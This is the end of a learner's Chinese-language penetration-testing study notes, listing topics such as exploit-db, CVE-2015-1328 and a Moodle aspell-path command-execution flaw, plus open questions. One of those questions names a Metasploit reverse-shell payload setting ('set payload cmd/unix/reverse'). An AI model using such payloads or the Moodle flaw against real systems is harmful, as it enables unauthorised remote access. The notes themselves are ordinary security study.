---18.exploit-db數(shù)據(jù)庫的網(wǎng)頁使用、Kail使用、
---19.CVE:2015-1328,exploit-db數(shù)據(jù)庫編號(EDB-ID):37292的大致原因
---20.python3開啟簡易Http服務(wù)傳輸文件
---21、隱藏文件的查看
#任然存在疑惑的點:
---1.POP3協(xié)議和SMTP協(xié)議的原理沒有理解
---2.MoodleCMS的兩個漏洞:1.為什么要修改PSpellShell才行2.為什么修改在"Settings"-->"Site administration"-->"Server"-->"System paths"-->"Path to aspell" 就能促發(fā)進(jìn)行命令執(zhí)行(這兩個問題都是對于MoodleCMS的漏洞不熟悉)
---3.MSF中的Payload的設(shè)置,為啥要設(shè)置成set payload cmd/unix/reverse這樣